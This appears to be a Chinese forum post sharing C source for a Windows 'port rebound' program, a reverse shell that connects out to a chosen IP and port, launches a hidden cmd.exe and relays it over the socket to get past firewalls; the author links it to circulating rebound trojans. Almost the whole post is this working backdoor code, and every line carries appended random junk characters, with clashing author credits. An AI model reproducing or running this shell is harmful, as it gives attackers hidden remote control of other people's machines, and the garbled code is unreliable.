Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 # ~Doz7~  
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/* ============================== bMn)lrsX  
Rebound port in Windows NT -U*J5Q  
By wind,2006/7 Qo32oT[DM  
===============================*/ ,BUrZA2\U$  
#include 1oe,>\\  
#include >dx/k)~~-L  
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#pragma comment(lib,"wsock32.lib") e>6|# d  
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void OutputShell(); IdqCk0lVD  
SOCKET sClient; j"K^zh  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7r&lW<:>  
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void main(int argc,char **argv) hC[=e`j  
{ ]VL} eHZ  
WSADATA stWsaData; E;}&2 a  
int nRet; (n`] sbx  
SOCKADDR_IN stSaiClient,stSaiServer; fV@[S  
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if(argc != 3) ~UJ.A<>Fh  
{ -L+kt_>  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,OWk[
0/  
return; VCfHm"'E8  
} rY6x):sC  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %N)B8A9kh  
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stSaiClient.sin_family = AF_INET; .W^B(y(tA  
stSaiClient.sin_port = htons(0); /78]u^SW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }f;WYz5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) T%% 0W J  
{ D(l,Z  
printf("Bind Socket Failed!\n"); 6@TU9AZS`  
return; )X-'Q-  
} +j{(NwsX  
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stSaiServer.sin_family = AF_INET; Q7rBc wm5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); (?m{G Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &#L C'  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) f-3CDUQ`  
{ fGb}V'x}r  
printf("Connect Error!"); udu<Nis4  
return; 7mq&]4-G  
} .<zKBv  
OutputShell(); d\uN  
} o2X95NiH  
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void OutputShell() JcUU#>  
{ y{/7z}d  
char szBuff[1024]; 'y\
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SECURITY_ATTRIBUTES stSecurityAttributes; ?HJh;96B  
OSVERSIONINFO stOsversionInfo; +l^tT&s;f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; u"q56}Q?]  
STARTUPINFO stStartupInfo; vP x/&x  
char *szShell; L/Q[N^ (^  
PROCESS_INFORMATION stProcessInformation; s>m2qSu  
unsigned long lBytesRead; `Jk0jj6Z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;+<IWDo  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ydyTDn  
stSecurityAttributes.lpSecurityDescriptor = 0; @Wc5r#  
stSecurityAttributes.bInheritHandle = TRUE; .6P.r}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 3("C'(W  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KEtV  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); .ojEKu+EJ'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [a04
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stStartupInfo.wShowWindow = SW_HIDE; i+h*<){X  
stStartupInfo.hStdInput = hReadPipe; iI{L>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <a]i"s  
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GetVersionEx(&stOsversionInfo); [ N|X  
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switch(stOsversionInfo.dwPlatformId) rz@qW2  
{ qFD ZD)K  
case 1: 3Rc*vVnI  
szShell = "command.com"; 4~,Z 'k  
break; *[{j'7*cc  
default: sSh{.XuB+3  
szShell = "cmd.exe"; &1$d`>fn  
break; =..Bh8P71!  
} aOH|[  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y6nP=g|')>  
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send(sClient,szMsg,77,0); zMR)w77  
while(1) Ea&|k
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{ A#. %7S  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); C3}:DIn"w  
if(lBytesRead) 3]l)uoNt/  
{ k5I;Y:~`  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [3jJQ3O,  
send(sClient,szBuff,lBytesRead,0); >\d&LLAe  
}
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else Z^_qXerjP  
{ !?nbB2,  
lBytesRead=recv(sClient,szBuff,1024,0); )O]6dd  
if(lBytesRead<=0) break; zY*9M3(X  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 053bM)qW  
} uZC=]Ieh  
} YIg(^>sq  
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return; Ipk;Nq  
}